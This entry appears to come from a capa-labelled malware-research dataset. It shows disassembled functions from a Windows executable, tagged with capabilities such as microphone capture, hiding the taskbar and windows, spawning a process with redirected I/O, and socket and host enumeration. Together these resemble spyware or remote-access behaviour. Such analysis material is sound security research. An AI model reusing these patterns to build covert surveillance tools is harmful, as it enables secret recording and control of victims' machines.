joyce8/EMBER2024-capa huggingface dataset:
Function at 0x47f0b4
Capabilities:
Capture microphone audio

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 4], 0
je 0x47f126
push 0x20
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x94]
push eax
call sub.winmm.dll_waveInUnprepareHeader
test eax, eax
jne 0x47f131
mov eax, dword [ebp - 8]
mov ebx, dword [eax + 8]
mov eax, dword [ebp - 4]
cmp word [eax + 0xa2], 0
je 0x47f0b4
mov eax, ebx
call fcn.00402ef0
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x47f0ad
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov ecx, ebx
call fcn.004030ec
push ebx
mov ebx, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0xa4]
call dword [ebx + 0xa0]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47f0b4
mov eax, dword [ebp - 0xc]
call fcn.00402f0c
ret
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 8]
mov dword [edx + 4], eax
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 8], edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 0xc], edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 0x10], edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 0x14], edx
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
xor ecx, ecx
call fcn.00408468
push 0x20
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x94]
push eax
call sub.winmm.dll_waveInPrepareHeader
test eax, eax
jne 0x47f131
push 0x20
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x94]
push eax
call sub.winmm.dll_waveInAddBuffer
test eax, eax
jne 0x47f131
jmp 0x47f131
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.0047f2e4
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x47f138
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff7c
mov esi, edx
lea edi, [esp]
mov ecx, 0x20
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ebx, eax
cmp byte [ebx + 4], 0
jne 0x47f1b1
push 0x10004
push 0
mov eax, dword [ebx + 0x98]
push eax
lea eax, [esp + 0xc]
push eax
push 0
lea eax, [ebx + 0x94]
push eax
call sub.winmm.dll_waveInOpen
test eax, eax
jne 0x47f1b1
movzx esi, byte [ebx + 0x91]
test esi, esi
jle 0x47f190
mov eax, ebx
call fcn.0047f27c
dec esi
jne 0x47f186
mov eax, dword [ebx + 0x94]
push eax
call sub.winmm.dll_waveInStart
test eax, eax
jne 0x47f1b1
mov esi, esp
lea edi, [ebx + 0x10]
mov ecx, 0x20
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov byte [ebx + 4], 1
add esp, 0x84
pop edi
pop esi
pop ebx
ret
Function at 0x47f27c
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
mov eax, 0x20
call fcn.00402ef0
mov edi, eax
mov edx, edi
mov eax, dword [ebx + 8]
call fcn.0047ebb4
mov esi, edi
mov eax, dword [ebx + 0xc]
call fcn.00402ef0
mov dword [esi], eax
mov eax, dword [ebx + 0xc]
mov dword [esi + 4], eax
xor eax, eax
mov dword [esi + 8], eax
xor eax, eax
mov dword [esi + 0x10], eax
xor eax, eax
mov dword [esi + 0x14], eax
push 0x20
push edi
mov eax, dword [ebx + 0x94]
push eax
call sub.winmm.dll_waveInPrepareHeader
test eax, eax
jne 0x47f2dc
push 0x20
push edi
mov eax, dword [ebx + 0x94]
push eax
call sub.winmm.dll_waveInAddBuffer
test eax, eax
mov eax, edi
pop edi
pop esi
pop ebx
ret
Function at 0x47f388
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc7c
push ebx
push esi
push edi
mov esi, ecx
mov ebx, edx
mov edi, eax
mov eax, ebx
call fcn.0040a168
test al, al
jne 0x47f3ae
mov byte [ebp - 1], 0
jmp 0x47f57e
lea eax, [ebp - 0x119]
mov edx, edi
call fcn.0040a824
lea eax, [ebp - 0x21e]
mov edx, ebx
call fcn.0040a824
lea eax, [ebp - 0x323]
mov edx, esi
call fcn.0040a824
xor eax, eax
push ebp
push 0x47f577
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x384]
xor ecx, ecx
mov edx, 0xc
call fcn.00403ae4
mov dword [ebp - 0x384], 0xc
xor eax, eax
mov dword [ebp - 0x380], eax
mov dword [ebp - 0x37c], 0xffffffff
push 0
push pe_nt_image_headers32
push 4
lea eax, [ebp - 0x384]
push eax
push 3
push 0xc0000000
lea eax, [ebp - 0x21e]
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x47f44b
mov byte [ebp - 1], 0
call fcn.00404f60
jmp 0x47f57e
push 0
push pe_nt_image_headers32
push 2
lea eax, [ebp - 0x384]
push eax
push 3
push 0xc0000000
lea eax, [ebp - 0x323]
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x47f485
mov byte [ebp - 1], 0
call fcn.00404f60
jmp 0x47f57e
lea eax, [ebp - 0x368]
xor ecx, ecx
mov edx, 0x44
call fcn.00403ae4
mov dword [ebp - 0x368], 0x44
mov dword [ebp - 0x33c], 0x101
mov word [ebp - 0x338], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x32c], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x330], eax
lea eax, [ebp - 0x378]
push eax
lea eax, [ebp - 0x368]
push eax
push 0
push 0
push 0x110
push 0xffffffffffffffff
push 0
push 0
lea eax, [ebp - 0x119]
push eax
push 0
call sub.kernel32.dll_CreateProcessA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x47f522
push 0xffffffffffffffff
mov eax, dword [ebp - 0x378]
push eax
call sub.kernel32.dll_WaitForSingleObject
mov eax, dword [ebp - 0x378]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x374]
mov dword [ebp - 0xc], eax
jmp 0x47f52d
mov byte [ebp - 1], 0
call fcn.00404f60
jmp 0x47f57e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47f57e
cmp dword [ebp - 0x14], 0
je 0x47f549
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_CloseHandle_1
cmp dword [ebp - 0x10], 0
je 0x47f558
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_CloseHandle_1
cmp dword [ebp - 0xc], 0
je 0x47f567
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
cmp dword [ebp - 8], 0
je 0x47f576
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
movzx eax, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x47ffe8
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff9a4
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x65c], edx
mov esi, eax
xor eax, eax
push ebp
push 0x480119
push dword fs:[eax]
mov dword fs:[eax], esp
mov bl, 1
mov eax, esi
call fcn.0040546c
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x480100
xor edx, edx
push ebp
push 0x4800eb
push dword fs:[edx]
mov dword fs:[edx], esp
lea ebx, [ebp - 8]
push 0
push 0
push ebx
push 0x400
lea eax, [ebp - 0x658]
push eax
push 0
push 0
push 0x4004747f
mov eax, dword [ebp - 4]
push eax
call sub.WS2_32.DLL_WSAIoctl
inc eax
je 0x4800e1
mov eax, dword [ebp - 8]
mov ecx, 0x4c
cdq
idiv ecx
dec eax
test eax, eax
jl 0x4800e1
inc eax
mov dword [ebp - 0xc], eax
lea ebx, [ebp - 0x654]
push esi
mov esi, ebx
lea edi, [ebp - 0x1c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
push dword [ebp - 0x18]
call sub.wsock32.dll_inet_ntoa
mov edi, eax
lea eax, [ebp - 0x65c]
mov edx, edi
call fcn.00405664
mov edx, dword [ebp - 0x65c]
mov eax, esi
call fcn.00405738
push esi
lea esi, [ebx + 0x30]
lea edi, [ebp - 0x1c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
push esi
lea esi, [ebx + 0x18]
lea edi, [ebp - 0x1c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
push dword [ebp - 0x18]
call sub.wsock32.dll_inet_ntoa
mov eax, esi
mov edx, 0x480134
call fcn.00405738
add ebx, 0x4c
dec dword [ebp - 0xc]
jne 0x48007e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4800f5
mov eax, dword [ebp - 4]
push eax
call sub.wsock32.dll_closesocket
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x480120
lea eax, [ebp - 0x65c]
call fcn.0040546c
ret

Function at 0x481094
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004058ec
xor eax, eax
push ebp
push 0x4810d9
push dword fs:[eax]
mov dword fs:[eax], esp
push ebx
mov eax, dword [ebp - 4]
call fcn.004058fc
push eax
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4810e0
lea eax, [ebp - 4]
call fcn.0040546c
ret

Function at 0x4810e4
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor ecx, ecx
mov dword [ebp - 8], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004058ec
xor eax, eax
push ebp
push 0x481140
push dword fs:[eax]
mov dword fs:[eax], esp
push ebx
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.0040a49c
mov eax, dword [ebp - 8]
call fcn.004058fc
push eax
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x481147
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405490
ret
Function at 0x48114c
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe14
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x1ec], ecx
mov dword [ebp - 0x1e8], ecx
mov dword [ebp - 0x1e4], ecx
mov dword [ebp - 0x1e0], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004058ec
mov eax, dword [ebp - 8]
call fcn.004058ec
xor eax, eax
push ebp
push 0x481393
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x481357
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
call fcn.0040546c
lea eax, [ebp - 0x1e0]
call fcn.00480138
lea eax, [ebp - 0x1e0]
mov edx, 0x4813ac
call fcn.00405738
mov edx, dword [ebp - 0x1e0]
lea eax, [ebp - 0x1dc]
call fcn.00403760
movzx eax, byte [0x4813c0]
push eax
lea eax, [ebp - 0x1e4]
push eax
mov ecx, 0x4813cc
mov edx, 0x4813d8
mov eax, dword [ebp - 4]
call fcn.0040ee40
mov edx, dword [ebp - 0x1e4]
lea eax, [ebp - 4]
call fcn.00405504
movzx eax, byte [0x4813c0]
push eax
lea eax, [ebp - 0x1e8]
push eax
mov ecx, 0x4813e4
mov edx, 0x4813f0
mov eax, dword [ebp - 4]
call fcn.0040ee40
mov edx, dword [ebp - 0x1e8]
lea eax, [ebp - 4]
call fcn.00405504
xor eax, eax
push ebp
push 0x481285
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x80
lea eax, [ebp - 0x1ec]
call fcn.00480138
lea eax, [ebp - 0x1ec]
mov edx, 0x4813ac
call fcn.00405738
mov eax, dword [ebp - 0x1ec]
call fcn.004058fc
push eax
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48128f
mov eax, dword [ebp - 8]
mov edx, 0x4813fc
call fcn.00405894
je 0x48130a
lea eax, [ebp - 0x1dc]
call fcn.004034e4
call fcn.0040304c
jmp 0x4812e6
lea edx, [ebp - 0x10]
lea eax, [ebp - 0x1dc]
call fcn.00403cb4
lea eax, [ebp - 0x1dc]
call fcn.00403d20
call fcn.0040304c
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push 0x4813cc
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00405800
lea eax, [ebp - 0x1dc]
call fcn.00403aac
call fcn.0040304c
test al, al
je 0x4812b0
lea eax, [ebp - 0x1dc]
call fcn.00403908
call fcn.0040304c
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.00405738
lea eax, [ebp - 0x1dc]
call fcn.004034f0
call fcn.0040304c
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 0x1dc]
call fcn.00405bf0
call fcn.0040409c
call fcn.0040304c
lea eax, [ebp - 0x1dc]
call fcn.00403908
call fcn.0040304c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x481368
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48139a
lea eax, [ebp - 0x1ec]
mov edx, 4
call fcn.00405490
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00405490
ret
Function at 0x481400
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe20
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x1e0], edx
mov dword [ebp - 0x1dc], edx
mov dword [ebp - 0x1d8], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov ebx, eax
lea esi, [ebp - 0x1d4]
xor eax, eax
push ebp
push 0x481577
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x48153b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
call fcn.0040546c
lea eax, [ebp - 0x1d8]
call fcn.00480138
lea eax, [ebp - 0x1d8]
mov edx, 0x481590
call fcn.00405738
mov edx, dword [ebp - 0x1d8]
mov eax, esi
call fcn.00403760
push 0x80
lea eax, [ebp - 0x1dc]
call fcn.00480138
lea eax, [ebp - 0x1dc]
mov edx, 0x481590
call fcn.00405738
mov eax, dword [ebp - 0x1dc]
call fcn.004058fc
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, esi
call fcn.004034e4
call fcn.0040304c
jmp 0x4814e7
lea edx, [ebp - 8]
mov eax, esi
call fcn.00403cb4
mov eax, esi
call fcn.00403d20
call fcn.0040304c
push dword [ebp - 4]
push dword [ebp - 8]
push 0x4815ac
lea eax, [ebp - 4]
mov edx, 3
call fcn.00405800
mov eax, esi
call fcn.00403aac
call fcn.0040304c
test al, al
je 0x4814b9
mov eax, esi
call fcn.00403908
call fcn.0040304c
lea edx, [ebp - 0x1e0]
mov eax, dword [ebp - 4]
call fcn.00409a78
cmp dword [ebp - 0x1e0], 0
jne 0x481527
lea eax, [ebp - 4]
mov edx, 0x4815b8
call fcn.00405504
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.004054c0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48154c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48157e
lea eax, [ebp - 0x1e0]
mov edx, 3
call fcn.00405490
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405490
ret

Function at 0x4817b4
Capabilities:
Hide graphical window

Disassembly:
push 5
push 0
push 0x4817cc
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x4817dc
Capabilities:
Hide graphical window

Disassembly:
push 0
push 0
push 0x4817f4
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
ret
Function at 0x48182c
Capabilities:
Find taskbar
Hide graphical window
Hide the windows taskbar

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff78
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x88], edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4818f6
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x481904
call sub.user32.dll_FindWindowA
push 5
push eax
call sub.user32.dll_GetWindow
mov esi, eax
test esi, esi
je 0x4818d5
push 0x80
lea eax, [ebp - 0x84]
push eax
push esi
call sub.user32.dll_GetClassNameA
test eax, eax
jle 0x4818c7
lea edx, [ebp - 4]
lea eax, [ebp - 0x84]
call fcn.0040a9a4
lea edx, [ebp - 0x88]
mov eax, dword [ebp - 4]
call fcn.004096d8
mov eax, dword [ebp - 0x88]
mov edx, 0x48191c
call fcn.00405894
jne 0x4818c7
cmp bl, 1
jne 0x4818bf
push 1
push esi
call sub.user32.dll_ShowWindow
jmp 0x4818c7
push 0
push esi
call sub.user32.dll_ShowWindow
push 2
push esi
call sub.user32.dll_GetWindow
mov esi, eax
test esi, esi
jne 0x48186c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4818fd
lea eax, [ebp - 0x88]
call fcn.0040546c
lea eax, [ebp - 4]
call fcn.0040546c
ret
Function at 0x484b38
Capabilities:
Get system information on windows

Disassembly:
push ebx
add esp, 0xfffffe68
xor ebx, ebx
push 0
push 0x2c
lea eax, [esp + 0x160]
push eax
push 0
call sub.ntdll.dll_NtQuerySystemInformation
test eax, eax
jne 0x484c7f
push 0
push 0x20
lea eax, [esp + 0x140]
push eax
push 3
call sub.ntdll.dll_NtQuerySystemInformation
test eax, eax
jne 0x484c7f
push 0
push 0x138
lea eax, [esp + 8]
push eax
push 2
call sub.ntdll.dll_NtQuerySystemInformation
test eax, eax
jne 0x484c7f
cmp dword [0x4a4a58], 0
jne 0x484ba2
cmp dword [0x4a4a54], 0
je 0x484c52
mov eax, dword [esp]
mov edx, dword [esp + 4]
sub eax, dword [0x4a4a54]
sbb edx, dword [0x4a4a58]
mov dword [esp + 0x184], eax
mov dword [esp + 0x188], edx
fild qword [esp + 0x184]
mov eax, dword [esp + 0x140]
mov edx, dword [esp + 0x144]
sub eax, dword [0x4a4a5c]
sbb edx, dword [0x4a4a60]
mov dword [esp + 0x18c], eax
mov dword [esp + 0x190], edx
fild qword [esp + 0x18c]
fdivp st(1)
fmul dword [0x484c8c]
movzx eax, byte [esp + 0x180]
mov dword [esp + 0x194], eax
fild dword [esp + 0x194]
fdivp st(1)
fsubr dword [0x484c8c]
fadd dword [0x484c90]
call fcn.0040344c
mov dword [0x4a4a64], eax
mov eax, dword [0x4a4a64]
xor edx, edx
cmp edx, dword [0x4a4a58]
jne 0x484c4a
cmp eax, dword [0x4a4a54]
je 0x484c52
mov ebx, dword [0x4a4a64]
mov eax, dword [esp]
mov dword [0x4a4a54], eax
mov eax, dword [esp + 4]
mov dword [0x4a4a58], eax
mov eax, dword [esp + 0x140]
mov dword [0x4a4a5c], eax
mov eax, dword [esp + 0x144]
mov dword [0x4a4a60], eax
mov eax, ebx
add esp, 0x198
pop ebx
ret
Function at 0x484c94
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed4
push ebx
xor ebx, ebx
mov dword [ebp - 0x12c], ebx
mov dword [ebp - 0x128], ebx
mov dword [ebp - 0x124], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004058ec
mov eax, dword [ebp - 8]
call fcn.004058ec
mov eax, dword [ebp - 0xc]
call fcn.004058ec
xor eax, eax
push ebp
push 0x484e02
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x18]
push eax
push 0x10
push 0
call sub.shell32.dll_SHGetSpecialFolderLocation
test eax, eax
jne 0x484dbe
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.shell32.dll_SHGetPathFromIDListA
lea edx, [ebp - 0x124]
mov eax, dword [0x4a4e30]
call fcn.0042306c
mov edx, dword [ebp - 0x124]
lea eax, [ebp - 0x14]
mov ecx, 0x484e10
call fcn.00406f80
mov eax, dword [ebp - 0xc]
call fcn.004058fc
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [eax]
call dword [eax + 0x1c]
mov eax, dword [ebp - 4]
call fcn.004058fc
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [eax]
call dword [eax + 0x50]
push 5
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [eax]
call dword [eax + 0x3c]
lea eax, [ebp - 0x128]
lea edx, [ebp - 0x11d]
mov ecx, 0x105
call fcn.004056dc
push dword [ebp - 0x128]
push 0x484e28
push dword [ebp - 8]
push 0x484e34
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00405800
push 0xffffffffffffffff
mov eax, dword [ebp - 0x10]
call fcn.0040639c
push eax
lea eax, [ebp - 0x12c]
mov edx, dword [ebp - 0x14]
mov ecx, 0x484e3c
call fcn.00406f80
mov eax, dword [ebp - 0x12c]
push eax
mov eax, dword [eax]
call dword [eax + 0x18]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x484e09
lea eax, [ebp - 0x12c]
call fcn.00406f3c
lea eax, [ebp - 0x128]
call fcn.0040546c
lea eax, [ebp - 0x124]
call fcn.00406f3c
lea eax, [ebp - 0x14]
call fcn.00406f3c
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00405490
ret

Function at 0x48521c
Capabilities:
Set socket configuration

Disassembly:
push ebx
push esi
push ecx
mov ebx, eax
cmp byte [ebx + 0x30], 0
jne 0x48529c
movzx eax, word [ebx + 0x3e]
push eax
movzx eax, byte [ebx + 0x44]
mov eax, dword [eax*4 + 0x4a4ac8]
push eax
movzx eax, byte [ebx + 0x3c]
mov eax, dword [eax*4 + 0x4a4a68]
push eax
call sub.wsock32.dll_socket
mov edx, eax
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov esi, eax
mov dword [ebx + 0x40], esi
inc esi
setne al
mov byte [ebx + 0x30], al
test al, al
je 0x48529c
cmp byte [ebx + 0x31], 1
jne 0x485287
mov dword [esp], 1
push esp
push 0x8004667e
mov eax, dword [ebx + 0x40]
push eax
call sub.wsock32.dll_ioctlsocket
mov edx, eax
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
xor eax, eax
mov dword [ebx + 0x34], eax
xor eax, eax
mov dword [ebx + 0x38], eax
mov eax, ebx
mov si, 0xffef
call fcn.0040483c
pop edx
pop esi
pop ebx
ret
Function at 0x48549c
Capabilities:
Resolve dns

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffffe0
mov esi, ecx
mov ebx, edx
mov eax, esi
call fcn.0040546c
test ebx, ebx
je 0x48553a
movzx eax, byte [ebx]
add al, 0xd0
sub al, 0xa
jae 0x4854d9
mov eax, ebx
call fcn.004058fc
push eax
call sub.wsock32.dll_inet_addr
inc eax
je 0x485546
mov eax, esi
mov edx, ebx
call fcn.004054c0
jmp 0x485546
mov eax, ebx
call fcn.004058fc
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x485546
mov ebx, eax
push esi
mov eax, dword [ebx + 0xc]
mov edi, dword [eax]
movzx eax, byte [edi]
mov dword [esp + 4], eax
mov byte [esp + 8], 0
movzx eax, byte [edi + 1]
mov dword [esp + 0xc], eax
mov byte [esp + 0x10], 0
movzx eax, byte [edi + 2]
mov dword [esp + 0x14], eax
mov byte [esp + 0x18], 0
movzx eax, byte [edi + 3]
mov dword [esp + 0x1c], eax
mov byte [esp + 0x20], 0
lea edx, [esp + 4]
mov ecx, 3
mov eax, 0x485558
call fcn.0040ae94
jmp 0x485546
mov eax, esi
mov edx, 0x48556c
call fcn.004054c0
add esp, 0x20
pop edi
pop esi
pop ebx
ret

Function at 0x4855b0
Capabilities:
Get hostname

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
mov eax, esi
call fcn.0040546c
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
call sub.wsock32.dll_gethostname
mov edx, eax
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
test eax, eax
jne 0x4855ed
mov eax, esi
mov edx, esp
mov ecx, pe_nt_image_headers32
call fcn.004056dc
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x485db0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x114], ecx
mov dword [ebp - 4], ecx
mov esi, edx
xor edx, edx
push ebp
push 0x485e70
push dword fs:[edx]
mov dword fs:[edx], esp
lea edx, [ebp - 8]
push edx
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderLocation
lea eax, [ebp - 0x10d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.shell32.dll_SHGetPathFromIDListA
lea edx, [ebp - 4]
lea eax, [ebp - 0x10d]
call fcn.0040a9a4
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x485e0c
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 0x114]
push eax
mov ecx, 1
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.00405964
mov eax, dword [ebp - 0x114]
mov edx, 0x485e88
call fcn.00405894
je 0x485e45
mov eax, esi
mov ecx, 0x485e88
mov edx, dword [ebp - 4]
call fcn.00405784
jmp 0x485e4f
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.004054c0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x485e77
lea eax, [ebp - 0x114]
call fcn.0040546c
lea eax, [ebp - 4]
call fcn.0040546c
ret